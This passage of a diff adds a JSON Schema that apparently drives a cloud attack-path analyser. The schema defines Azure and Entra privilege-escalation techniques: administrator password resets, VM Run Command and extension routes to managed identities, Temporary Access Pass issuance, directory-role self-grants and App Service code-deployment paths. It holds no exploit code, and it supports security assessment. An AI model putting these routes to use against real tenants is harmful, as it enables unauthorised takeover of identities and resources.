this one.", + "enum": [ + "Admin", + "Member", + "Contributor", + "Viewer" + ] + }, + "graph_app_permission": { + "description": "Microsoft Graph application permission.", + "minLength": 1, + "type": "string" + }, + "intune_permission": { + "description": "Intune RBAC resource action (e.g. Microsoft.Intune_DeviceConfigurations_Assign).", + "minLength": 1, + "type": "string" + }, + "notes": { + "type": "string" + }, + "object_type": { + "enum": [ + "application", + "servicePrincipal", + "group" + ] + }, + "scope": { + "description": "ARM scope / Entra directory scope ('*' = any).", + "type": "string" + } + }, + "type": "object" + }, + "azure_technique": { + "properties": { + "id": { + "pattern": "^(azure|entra)-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/azure_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/azure_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "azure_challenge_foothold", + "azure_external_principal", + "azure_managed_identity", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "entra_group", + "k8s_service_account" + ] + }, + { + "items": { + "enum": [ + "azure_challenge_foothold", + "azure_external_principal", + "azure_managed_identity", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "entra_group", + "k8s_service_account" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "azure_member_user": { + "description": "Source is a directory user whose collected userType is Member; absent or Guest userType does not satisfy this selector.", + "type": "boolean" + }, + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + }, + "source_reaches_user_outside_target_group": { + "const": true, + "description": "The chain must reach an enabled user who is not already a member of the target group." + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "entra_group", + "entra_role", + "k8s_cluster_admin", + "k8s_service_account" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "attached_to_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Identity is attached to a collected resource of that service (Lambda Role, EC2 instance profile, GCE/GKE service account, Azure resource identity incl. full ARM types). Uncollected attachment inventories fall back to trust/all identities with unknown confidence." + }, + "attached_to_vm_joined_to_entra_domain_services": { + "const": true, + "description": "Managed identity attached to a VM joined to a Microsoft Entra Domain Services managed domain (JsonADDomainExtension naming the domainName of a Microsoft.AAD/domainServices resource): conditional (domain_join_state_not_verified); other VM identities unresolved (manual joins leave no ARM trace) unless no managed domain is inventoried." + }, + "azure_aci_assignable_uami": { + "const": true, + "description": "The source can assign the exact user-assigned identity and write an inventoried ACI container group or create one in an inventoried resource group; missing inventory stays unresolved." + }, + "azure_aci_exec_running_identity": { + "const": true, + "description": "The exact native ACI container group carries the target managed identity, has a running container, and the source can execute a command there." + }, + "azure_aci_existing_write_identity": { + "const": true, + "description": "The source can update an exact existing running ACI group that carries the target managed identity; terminated groups do not qualify." + }, + "azure_acr_assignable_uami": { + "const": true, + "description": "The source can write a task on an inventoried ACR registry or existing task and assign an exact, verified user-assigned identity resource." + }, + "azure_acr_existing_task_identity": { + "const": true, + "description": "The exact inventoried ACR task carries the target managed identity and the source can write that task." + }, + "azure_aks_rbac_cluster_binding": { + "const": true, + "description": "The exact AKS cluster enables Azure RBAC for Kubernetes, and the source can authenticate to its Kubernetes API before creating a ClusterRoleBinding." + }, + "azure_aks_rbac_group_impersonation": { + "const": true, + "description": "The exact AKS cluster enables Azure RBAC for Kubernetes, and the source can authenticate to its Kubernetes API." + }, + "azure_apim_restorable_backup": { + "const": true, + "description": "One fresh reviewed record binds a valid APIM-created backup, storage access, compatible restore target, controlled policy, and the exact attached identity." + }, + "azure_appservice_assignable_uami": { + "const": true, + "description": "The source can assign the exact inventoried user-assigned identity to an existing app it can write and control code in, or create an app in an inventoried resource group using a joinable plan." + }, + "azure_appservice_backup_restore_code_path": { + "const": true, + "description": "The source can restore a backup on the exact supported-tier App Service carrying the target identity; backup compatibility and code execution remain conditional." + }, + "azure_appservice_config_code_path": { + "const": true, + "description": "The target identity is attached to the exact app whose web or app-settings config child the source can write; the app's runtime must support a code-bearing configuration path." + }, + "azure_appservice_enable_publishing_credentials_code_path": { + "const": true, + "description": "The source can enable the exact app's SCM basic auth policy and read its publishing credentials; the app carries the target identity and can run deployed code." + }, + "azure_appservice_kudu_code_path": { + "const": true, + "description": "The target identity is attached to the exact App Service for which the source holds publish/action, with a supported Kudu hosting plan and an app that can run." + }, + "azure_appservice_onedeploy_code_path": { + "const": true, + "description": "The source can write the exact app's extensions/onedeploy child; the attached identity belongs to that app, and its runtime loads deployed packages." + }, + "azure_appservice_publishing_credentials_code_path": { + "const": true, + "description": "The source can read publishing credentials for the exact app carrying the target identity, SCM basic auth is enabled, and the runtime can load deployed code." + }, + "azure_appservice_sitecontainers_code_path": { + "const": true, + "description": "The source can write a SiteContainer child of the exact Linux app carrying the target identity, and that app uses SiteContainers mode." + }, + "azure_appservice_siteextensions_code_path": { + "const": true, + "description": "The source can install a site extension with a selectable package name on the exact Windows code app carrying the target identity." + }, + "azure_appservice_slot_code_path": { + "const": true, + "description": "The source has a code-bearing publish, source control, config, or SiteContainer route on the exact slot carrying the target identity." + }, + "azure_appservice_slot_publishing_credentials_code_path": { + "const": true, + "description": "The source can read publishing credentials for the exact slot carrying the target identity, and that slot's SCM basic auth policy allows credential use." + }, + "azure_appservice_slot_swap_code_path": { + "const": true, + "description": "The source can stage code and swap the same inventoried slot into the exact production app carrying the target identity." + }, + "azure_appservice_sourcecontrol_code_path": { + "const": true, + "description": "The source can write the exact identity app's sourcecontrols/web child and that app can execute deployed repository code." + }, + "azure_arc_custom_script_code_path": { + "const": true, + "description": "The source can create or update a Custom Script child on the exact Arc identity machine while its connected agent permits that extension." + }, + "azure_arc_entra_admin_ssh_path": { + "const": true, + "description": "The source can read Arc relay credentials for the exact machine endpoint and log in as administrator through configured Entra SSH." + }, + "azure_arc_guest_configuration_path": { + "const": true, + "description": "Exact Arc machine guest-configuration assignment write path and collected connection state." + }, + "azure_arc_run_command_code_path": { + "const": true, + "description": "The source can create or update a Run Command child on the exact Arc identity machine while its connected agent permits the handler." + }, + "azure_assignable_via_identity_holding": { + "description": "User-assigned identity reached through an intermediate user-assigned identity T: the source holds Microsoft.ManagedIdentity/userAssignedIdentities/assign/action on T and T holds the named action on the target identity resource (e.g. an Image Builder template identity that assigns the build-VM identity). The edge takes the weaker of both grants and the condition via_intermediate_identity:.", + "minLength": 1, + "type": "string" + }, + "azure_assignment_condition_uses_principal_attribute": { + "const": true, + "description": "azure_scope_owner / azure_dataplane_admin targets covered by a role assignment of the source (or its groups) whose ABAC condition reads @Principal custom security attributes (scope owner: the role grants roleAssignments/write at that scope; data-plane admin: the role has DataActions over the resource). Conditional (attribute_value_satisfying_condition_not_verified)." + }, + "azure_automation_assignable_uami": { + "const": true, + "description": "The source can assign the exact user-assigned identity to an inventoried Automation account or create one in an inventoried group, then create or edit and run a runbook there." + }, + "azure_automation_hybrid_worker_path": { + "const": true, + "description": "The source can create or edit and run a runbook on the Automation account with an inventoried Hybrid Worker VM carrying this identity." + }, + "azure_automation_runbook_identity_path": { + "const": true, + "description": "The source can create or edit and run a runbook on the exact Automation account carrying this managed identity." + }, + "azure_batch_job_pool_identity": { + "const": true, + "description": "The source can create a Batch job or schedule on the exact Entra-enabled account with a runnable native pool carrying this user-assigned identity." + }, + "azure_batch_pool_assignable_uami": { + "const": true, + "description": "The source can write an exact existing Batch pool or a new pool under an inventoried account and can assign the target user-assigned identity." + }, + "azure_batch_pool_starttask_identity": { + "const": true, + "description": "The source can write the exact native Batch pool that carries this verified user-assigned identity." + }, + "azure_batch_shared_key_pool_identity": { + "const": true, + "description": "The source can obtain a Shared Key from the exact Batch account with a native pool carrying this verified user-assigned identity." + }, + "azure_challenge_fact": { + "description": "Exact reviewed Azure technique/source/target/scope evidence; never a definite path.", + "type": "string" + }, + "azure_confidential_ledger_admin_path": { + "const": true, + "description": "The source has an Entra principal and the target is an inventoried usable Confidential Ledger whose ARM principal list can be updated." + }, + "azure_consumer_of_pivot": { + "anyOf": [ + { + "enum": [ + "key_vault_reference", + "storage_content", + "app_configuration_reference", + "queue_trigger", + "service_bus_trigger", + "event_subscription" + ] + }, + { + "items": { + "enum": [ + "key_vault_reference", + "storage_content", + "app_configuration_reference", + "queue_trigger", + "service_bus_trigger", + "event_subscription" + ] + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Managed identity of a workload that reads the pivot resource (value = binding kind(s): app_configuration_reference, event_subscription, key_vault_reference, queue_trigger, service_bus_trigger, storage_content). An identity holding the binding's read data action on a pivot resource is conditional (consumer_binding_not_collected); every other one is unresolved. Whether the consumer trusts the value enough to execute it is application logic: entries keep a condition for it." + }, + "azure_containerapp_assignable_uami": { + "const": true, + "description": "The source can write an exact inventoried Container App, attach the target user-assigned identity, and run a controlled revision." + }, + "azure_containerapp_create_uami_path": { + "const": true, + "description": "The source can create an app under an inventoried resource group and join an existing or creatable managed environment in the same subscription." + }, + "azure_containerapp_exec_identity": { + "const": true, + "description": "The source can obtain a console token and execute or debug on the same Container App with a running revision whose current identity is available to its main container." + }, + "azure_containerapp_job_assignable_uami": { + "const": true, + "description": "The source can assign the verified user-assigned identity to an exact writable job in a usable managed environment, or create a scheduled job in an inventoried group and joinable environment." + }, + "azure_containerapp_job_execution_identity": { + "const": true, + "description": "The source can start the exact usable Job with an execution template override, or write a controlled scheduled template, and the target identity is available in the main stage or an init stage on a confirmed Consumption workload profile." + }, + "azure_containerapp_write_existing_identity": { + "const": true, + "description": "The source can write an exact usable Container App with this currently attached identity, and can start it if stopped." + }, + "azure_cosmos_mongo_user_write": { + "const": true, + "description": "The source can create a password-controlled MongoDB user with a built-in privileged role on an exact usable MongoDB account with native RBAC enabled." + }, + "azure_cosmos_other_api_role_grant": { + "const": true, + "description": "The source can grant its own Entra principal a privileged native role on an exact usable account of the matching Cosmos DB API." + }, + "azure_cosmos_sql_role_grant": { + "const": true, + "description": "The source can assign its own Entra principal the built-in NoSQL Data Contributor role on an exact usable Cosmos DB for NoSQL account." + }, + "azure_databricks_workspace_admin": { + "const": true, + "description": "An enabled tenant member user can bootstrap admin on an exact usable Databricks workspace with both required Azure RBAC actions." + }, + "azure_deployer_of_pivot": { + "const": true, + "description": "Identity that deploys the pivot resource (e.g. deployment script runner); not collected (unknown)." + }, + "azure_deployment_script_uami_path": { + "const": true, + "description": "The source can create or update a deployment script with the exact assignable UAMI and can manage its required support resources." + }, + "azure_devtestlab_artifact_identity": { + "const": true, + "description": "The source can apply artifacts to the exact lab VM whose computeId points to a known compute VM carrying the target identity." + }, + "azure_external_plane": { + "description": "Exact adjacent authorization plane of a reviewed Azure external-principal gain.", + "type": "string" + }, + "azure_external_principal_evidence": { + "const": true, + "description": "Unique complete reviewed evidence binds a declared ARM action to one named adjacent-plane principal, usable credential or grant, prior denial, and a newly allowed target action." + }, + "azure_flux_cluster_path": { + "const": true, + "description": "A writable Flux configuration belongs to the exact AKS or Arc cluster and has cluster scope." + }, + "azure_function_definition_code_path": { + "const": true, + "description": "Source can edit a function on the exact writable Function App carrying the target managed identity." + }, + "azure_function_host_vfs_code_path": { + "const": true, + "description": "Source can use hostruntime VFS write on the exact writable Function App carrying the target managed identity." + }, + "azure_function_remote_debug_path": { + "const": true, + "description": "Source can obtain publishing credentials and enable or use debugging on the exact supported Function App identity host." + }, + "azure_host_linked_to_pivot": { + "description": "Identity of a VM linked to the pivot resource: avd_session_host (application group -> hostPoolArmPath -> session hosts), automation_hybrid_worker (hybrid runbook workers' vmResourceId), devtest_lab_compute_vm (lab VM computeId), service_fabric_node_vmss (not collected: always unresolved). Linked VM identities are derived; the others are dropped when every link under {pivot} is collected, else unresolved.", + "enum": [ + "avd_session_host", + "automation_hybrid_worker", + "devtest_lab_compute_vm", + "service_fabric_node_vmss" + ] + }, + "azure_hybrid_k8s_admin_credential_path": { + "const": true, + "description": "Bind a hybrid cluster admin kubeconfig action to its exact provisioned cluster or Arc cluster instance." + }, + "azure_identity_assignable_in_scope": { + "const": true, + "description": "Requirements with scope '*' must hold on a scope that contains the identity's attached resource (or the user-assigned identity resource)." + }, + "azure_imagebuilder_new_template_identity_path": { + "const": true, + "description": "Check create and run on one new template plus source-to-template and template-to-build-VM identity assignment." + }, + "azure_kusto_cluster_principal_assignment_path": { + "const": true, + "description": "Bind a cluster principal-assignment write to an exact collected Kusto cluster." + }, + "azure_kusto_database_principal_assignment_path": { + "const": true, + "description": "Bind a database principal-assignment write to an exact collected Kusto database." + }, + "azure_loadtesting_assign_uami_path": { + "const": true, + "description": "Bind UAMI assignment and all load-test write and run rights to the same existing or creatable resource." + }, + "azure_loadtesting_existing_engine_identity_path": { + "const": true, + "description": "Bind test write and start DataActions to an exact Load Testing resource carrying the target identity." + }, + "azure_logicapp_assign_uami_path": { + "const": true, + "description": "The source can assign the exact UAMI and write one existing or creatable Consumption workflow in an inventoried resource group." + }, + "azure_logicapp_existing_identity_path": { + "const": true, + "description": "The source can write the exact existing Consumption workflow carrying the target managed identity." + }, + "azure_managedapp_listtokens_path": { + "const": true, + "description": "The source can call listTokens on the exact managed application carrying the target managed identity." + }, + "azure_ml_compute_application_identity_path": { + "const": true, + "description": "The source can open applications on the exact assigned or shared ML compute instance carrying the identity, while it runs or can be started." + }, + "azure_ml_compute_create_uami_path": { + "const": true, + "description": "The source can create a new compute instance with an inline script under an existing workspace and assign the exact user-assigned identity." + }, + "azure_ml_existing_online_deployment_identity_path": { + "const": true, + "description": "The source can write the exact existing online endpoint, a deployment child and the owning workspace read path while that endpoint carries the target identity." + }, + "azure_ml_online_endpoint_create_uami_path": { + "const": true, + "description": "The source can create one online endpoint and deployment under an existing workspace and assign the exact user-assigned identity." + }, + "azure_mongo_cluster_admin_password": { + "const": true, + "description": "The source can update an exact inventoried primary Mongo cluster in a usable state to reset its administrator password." + }, + "azure_mongo_cluster_self_root": { + "const": true, + "description": "The source can assign the root database role to its own Entra principal on an exact usable primary Mongo cluster with Entra authentication enabled or enableable." + }, + "azure_mysql_flexible_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable MySQL Flexible Server with native password authentication enabled or enableable." + }, + "azure_mysql_flexible_entra_admin_write": { + "const": true, + "description": "The source can set itself or a group it belongs to as the Entra administrator of an exact usable MySQL Flexible Server with a qualified user-assigned identity." + }, + "azure_policy_assignment_identity_path": { + "const": true, + "description": "A writable policy assignment, writable visible custom definition, and assignable UAMI must form one usable path." + }, + "azure_postgresql_flexible_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact ready PostgreSQL Flexible Server, promoting a replica first if necessary." + }, + "azure_postgresql_flexible_entra_admin_write": { + "const": true, + "description": "The source can add itself or a group it belongs to as an Entra administrator on an exact PostgreSQL Flexible Server with Entra authentication enabled or enableable." + }, + "azure_resource_type": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Restrict an Azure resource entity target to collected resources with the exact ARM type." + }, + "azure_root_scope_only": { + "const": true, + "description": "Restrict an Azure root-scope authorization target to the tenant root (/)." + }, + "azure_servicefabric_application_uami_path": { + "const": true, + "description": "Application type, version, application and UAMI assignment grants must join on one Service Fabric cluster." + }, + "azure_site_kind": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Microsoft.Web/sites kind contains the value (functionapp, app, ...)." + }, + "azure_spring_app_uami_path": { + "const": true, + "description": "App write and deployment write must join on one app in an inventoried Spring Apps service, with assignment of the exact UAMI." + }, + "azure_spring_deployment_identity_path": { + "const": true, + "description": "Deployment write must authorize a child of the Spring app carrying the target managed identity." + }, + "azure_sql_server_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable Azure SQL logical server with SQL authentication enabled or enableable." + }, + "azure_sql_server_entra_admin_write": { + "const": true, + "description": "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable Azure SQL logical server." + }, + "azure_sqlmi_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable Azure SQL Managed Instance with SQL authentication enabled or enableable." + }, + "azure_sqlmi_entra_admin_write": { + "const": true, + "description": "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable SQL Managed Instance whose identity can read the directory." + }, + "azure_static_site_deployment_token": { + "const": true, + "description": "An inventoried Static Web App on which the source can request that exact site's deployment token." + }, + "azure_storage_local_credential": { + "description": "Azure Storage SFTP local user credential; reset_password, write_credential, or create_credential. Requires exact account settings and verified container rights.", + "type": "string" + }, + "azure_synapse_entra_admin_path": { + "const": true, + "description": "An eligible source can write the Active Directory administrator child of an inventoried Synapse workspace." + }, + "azure_uami_fic_write_path": { + "const": true, + "description": "The source can create or update a federated credential child on the exact user-assigned identity resource." + }, + "azure_users_assigned_to_pivot": { + "const": true, + "description": "azure_user targets holding Desktop Virtualization User (directly or through a group) on an AVD application group within {pivot}; always conditional (user_launches_app)." + }, + "azure_vm_assign_existing_uami_path": { + "const": true, + "description": "The source can write one inventoried VM, assign the exact UAMI, and execute code on that same VM." + }, + "azure_vm_assign_indirect_uami_path": { + "const": true, + "description": "The source can write one inventoried VM, assign the exact UAMI, and use a same-VM indirect guest route." + }, + "azure_vm_create_uami_path": { + "const": true, + "description": "The source can create a VM in a known group, join a usable NIC or create one on a known subnet, and assign the exact UAMI." + }, + "azure_vm_extension_execution_path": { + "const": true, + "description": "Extension write must authorize a child of the inventoried VM carrying the target identity." + }, + "azure_vm_gallery_application_path": { + "const": true, + "description": "Writable gallery application version and VM write must join an inventoried VM identity host." + }, + "azure_vm_managed_runcommand_path": { + "const": true, + "description": "Managed Run Command write must authorize a child of the inventoried VM carrying the target identity." + }, + "azure_vm_os_disk_swap_path": { + "const": true, + "description": "VM write and writable compatible same-region replacement disk must join the inventoried VM identity host." + }, + "azure_vm_reimage_customdata_path": { + "const": true, + "description": "Reimage with request-body customData must target an inventoried Linux VM carrying the target identity." + }, + "azure_vm_runcommand_action_path": { + "const": true, + "description": "Run Command action must target an inventoried VM carrying the identity and a stopped VM needs start/action." + }, + "azure_vmss_instance_identity": { + "const": true, + "description": "The selected scale-set VM instance belongs to a scale set carrying this managed identity." + }, + "azure_vmss_instance_runcommand_action_path": { + "const": true, + "description": "Run Command action must authorize an inventoried Uniform scale-set instance carrying the identity." + }, + "azure_vmss_instance_runcommand_path": { + "const": true, + "description": "Managed Run Command write must target a child of an inventoried Uniform scale-set instance." + }, + "azure_vmss_model_rollout_path": { + "const": true, + "description": "Uniform VMSS model or extension write must authorize the identity host and a route to its instances." + }, + "credential_stored_in_scope": { + "description": "Principals whose secrets are stored in that resource/scope (always conditional; secret contents are never read).", + "type": "string" + }, + "custom_role_assigned_to_source": { + "const": true, + "description": "Target scope is one where a custom role assigned to the source applies (role definition rewrite)." + }, + "entra_access_package_auto_assignment_open_to_guest": { + "const": true, + "description": "Targets that are resources of an access package with an automatic-assignment policy whose rule does not exclude guests (userType -eq \"Member\"). Conditional (auto_assignment_rule_semantics_approximated)." + }, + "entra_agent_blueprint_principal_or_child_identity": { + "const": true, + "description": "Target is an agent identity blueprint principal or one of its child agent identities." + }, + "entra_app_sign_in_audience": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Application signInAudience equals the value." + }, + "entra_auth_admin_user_takeover": { + "const": true, + "description": "Authentication Administrator role scope, protected user and TAP or password reset path are checked for the target." + }, + "entra_auto_assignment_package_group": { + "const": true, + "description": "Target group has a Member role in an existing access package whose automatic assignment policy the source can create." + }, + "entra_catalog_self_grant_group": { + "const": true, + "description": "A source user can create or assign a package granting Member or Owner of this cataloged group; assignment managers require an existing package with that exact grant." + }, + "entra_catalog_self_grant_role": { + "const": true, + "description": "A source user can create or assign a package granting Active Member or Eligible Member of this cataloged Entra role; assignment managers require an existing package with that exact grant." + }, + "entra_custom_role_assigned_to_source": { + "const": true, + "description": "Target is reached by editing a custom directory role already assigned to the source." + }, + "entra_dynamic_rule_attributes_writable_by_source": { + "const": true, + "description": "Dynamic membershipRule references user attributes the source can write (membershipRule needed)." + }, + "entra_dynamic_rule_satisfiable_by_invited_guest": { + "const": true, + "description": "Dynamic membershipRule can be satisfied by a guest the source can invite (membershipRule needed)." + }, + "entra_graph_application_credential_target": { + "const": true, + "description": "Application-type service principal has a matching tenant application for application addPassword; foreign service principals stay unresolved when their instance lock cannot be checked." + }, + "entra_graph_directory_role_self_grant": { + "const": true, + "description": "An enabled Graph application source can assign itself a new tenant-scoped, enabled directory role." + }, + "entra_graph_group_sp_membership": { + "const": true, + "description": "The source app has Graph permission to add itself to a cloud-managed security group that does not already contain it." + }, + "entra_graph_group_user_membership": { + "const": true, + "description": "The source app can add a user it reaches to a cloud-managed security or Microsoft 365 group." + }, + "entra_graph_self_grant_directory_role": { + "const": true, + "description": "The source can grant itself Microsoft Graph RoleManagement.ReadWrite.Directory and a fresh token can assign an inventoried Entra directory role." + }, + "entra_graph_tap_user_target": { + "const": true, + "description": "An enabled Graph application can issue a Temporary Access Pass to a user included in the enabled policy and not excluded by group or external identity." + }, + "entra_group_membership_cloud_writable": { + "const": true, + "description": "Synchronized or missing group source-of-authority facts keep a membership-write path conditional." + }, + "entra_group_membership_type": { + "description": "Group membership is 'assigned' or 'dynamic' (groupTypes contains DynamicMembership).", + "type": "string" + }, + "entra_group_new_self_membership": { + "const": true, + "description": "The enabled source can join this supported assigned group and is not already a direct or nested member." + }, + "entra_group_owner_new_self_membership": { + "const": true, + "description": "An enabled owner can join the supported assigned group, with protected-group Graph permission checks." + }, + "entra_group_role_assignable": { + "description": "Group isAssignableToRole equals the value.", + "type": "boolean" + }, + "entra_group_source_not_owner": { + "const": true, + "description": "The source is not already an owner of the target group; incomplete owner inventory stays conditional." + }, + "entra_group_source_self_membership": { + "const": true, + "description": "An application source needs Graph group-write and application-write permission to add its own service principal as a member." + }, + "entra_group_type_covered_by_permission": { + "const": true, + "description": "Group type (security / Microsoft 365) is covered by the entra_permission variant (groups.security / groups.unified)." + }, + "entra_helpdesk_password_reset": { + "const": true, + "description": "Helpdesk password reset checks target roles, group protection, administrative unit scope, and password origin." + }, + "entra_nonadmin_password_reset": { + "const": true, + "description": "Non-admin reset roles check user source, target protection, administrative unit scope, and password origin." + }, + "entra_password_admin_reset": { + "const": true, + "description": "Password Administrator reset checks target roles, group protection, administrative unit scope, and password origin." + }, + "entra_pim_active_sp_membership": { + "const": true, + "description": "The enabled application source can request time-limited active membership in a cloud security group where it is not already a member." + }, + "entra_pim_controlled_user_eligibility": { + "const": true, + "description": "A PIM eligibility request can name a controlled user who is not already a member of the cloud security or Microsoft 365 group." + }, + "entra_pim_eligible_for_source": { + "const": true, + "description": "Source has a PIM eligibility schedule for the target role." + }, + "entra_pim_group_eligible_for_source": { + "anyOf": [ + { + "const": true + }, + { + "enum": [ + "member", + "owner" + ] + } + ], + "description": "entra_group targets for which the source (or one of its groups) has a PIM for Groups eligibility: true = member or owner, or 'member' / 'owner'. Always conditional (pim_activation_required)." + }, + "entra_privileged_auth_user_takeover": { + "const": true, + "description": "Privileged credential reset checks role scope, target protection, and application grants." + }, + "entra_reset_matrix_column": { + "description": "Targets whose password the role column may reset per Microsoft's 'who can reset passwords' table, excluding role-assignable-group members and restricted-AU members.", + "type": "string" + }, + "entra_resource_in_catalog": { + "const": true, + "description": "entra_group / azure_service_principal / entra_role targets that are resources of an entitlement-management catalog; {target.catalog} = those catalogs (for entra_catalog_role requirements)." + }, + "entra_role_assignable": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target is the named Entra directory role (display name, template ID, '*' or 'any')." + }, + "entra_role_assignment_scope_covers_target": { + "const": true, + "description": "The directory role assignment's directoryScopeId ('/', AU or object) contains the target." + }, + "entra_role_assignment_self_grant": { + "const": true, + "description": "An active role-assignment manager can assign itself a new enabled directory role at tenant scope." + }, + "entra_source_is_owner_of_application": { + "const": true, + "description": "Source owns the target's application object." + }, + "entra_source_is_owner_of_group": { + "const": true, + "description": "Source owns the target group." + }, + "entra_source_is_owner_of_service_principal": { + "const": true, + "description": "Source owns the target service principal." + }, + "entra_sp_credential_takeover_target": { + "const": true, + "description": "An enabled application service principal whose credential update is not blocked by a known home-application lock." + }, + "entra_sp_has_tenant_application": { + "const": true, + "description": "Service principal's appId belongs to an application registered in this tenant." + }, + "entra_sp_owner_update_target": { + "const": true, + "description": "An enabled application service principal the user does not already own and whose credentials are not known to be locked." + }, + "entra_sp_type_in": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Service principal servicePrincipalType is one of the values." + }, + "entra_target_not_in_restricted_au": { + "const": true, + "description": "Target is not a member of a restricted management administrative unit (AU facts needed)." + }, + "entra_user_admin_password_reset": { + "const": true, + "description": "User Administrator reset checks target roles, AU scope, password origin, and app-only Graph grants." + }, + "entra_user_upn_on_federatable_custom_domain": { + "const": true, + "description": "Target user's UPN is on a verified custom domain whose federation the source can change (domain facts needed)." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "fabric_workspace_identity": { + "const": true, + "description": "azure_service_principal targets that are the workspace identity of a Microsoft Fabric workspace; {target.host_resource} = that workspace (for fabric_workspace_role requirements)." + }, + "intune_managed_device_user": { + "const": true, + "description": "azure_user targets that are the primary user of an Intune-managed device. Conditional (device_session_not_verified): code run on the device reaches the user's session only while they sign in." + }, + "managed_identity_type": { + "description": "Managed identity is user_assigned or system_assigned.", + "type": "string" + }, + "ml_compute_assigned_to_source": { + "const": true, + "description": "Azure ML compute instance assigned to the source (not collected, unknown)." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + } + }, + "type": "object" + } + } + } + } + }, + "excluded": { + "properties": { + "reason": { + "type": "string" + }, + "source": { + "type": "string" + }, + "source_revision": { + "type": "string" + }, + "technique": { + "type": "string" + } + }, + "required": [ + "source", + "reason" + ], + "type": "object" + }, + "gcp_conjunction": { + "items": { + "$ref": "#/$defs/gcp_item" + }, + "minItems": 1, + "type": "array" + }, + "gcp_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/gcp_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/gcp_item" + }, + { + "$ref": "#/$defs/gcp_conjunction" + } + ] + }, + "minItems": 